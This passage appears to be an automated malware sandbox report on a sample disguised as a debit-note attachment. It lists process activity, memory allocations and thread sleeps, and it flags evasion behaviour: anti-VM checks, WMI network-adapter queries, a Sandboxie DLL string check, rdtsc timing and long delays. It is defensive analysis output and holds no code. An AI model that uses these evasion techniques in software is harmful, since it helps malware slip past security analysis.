Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: app.exe PID: 5844, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory allocated: 1500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory allocated: 3430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Memory allocated: 1720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory allocated: D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory allocated: 2A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Memory allocated: 4A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2370000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2530000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4530000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00F8E137 rdtsc

4_2_00F8E137

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Window / User API: threadDelayed 1399	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Window / User API: threadDelayed 2279	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6183	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3583	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1684	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8158	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Window / User API: threadDelayed 1257	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Window / User API: threadDelayed 1544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1662
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 8156

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7128	Thread sleep count: 1399 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7128	Thread sleep count: 2279 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99101s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98747s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98520s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98345s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe TID: 7040	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6728	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3704	Thread sleep count: 1684 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3704	Thread sleep count: 8158 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -99016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98744s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98592s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98266s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -97110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96196s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -96016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -95063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2992	Thread sleep time: -94172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 7120	Thread sleep count: 1257 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 5408	Thread sleep count: 1544 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -99047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe TID: 3320	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep count: 35 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6800	Thread sleep count: 1662 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99887s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6800	Thread sleep count: 8156 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99657s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep count: 37 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99532s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep time: -99407s >= -30000s
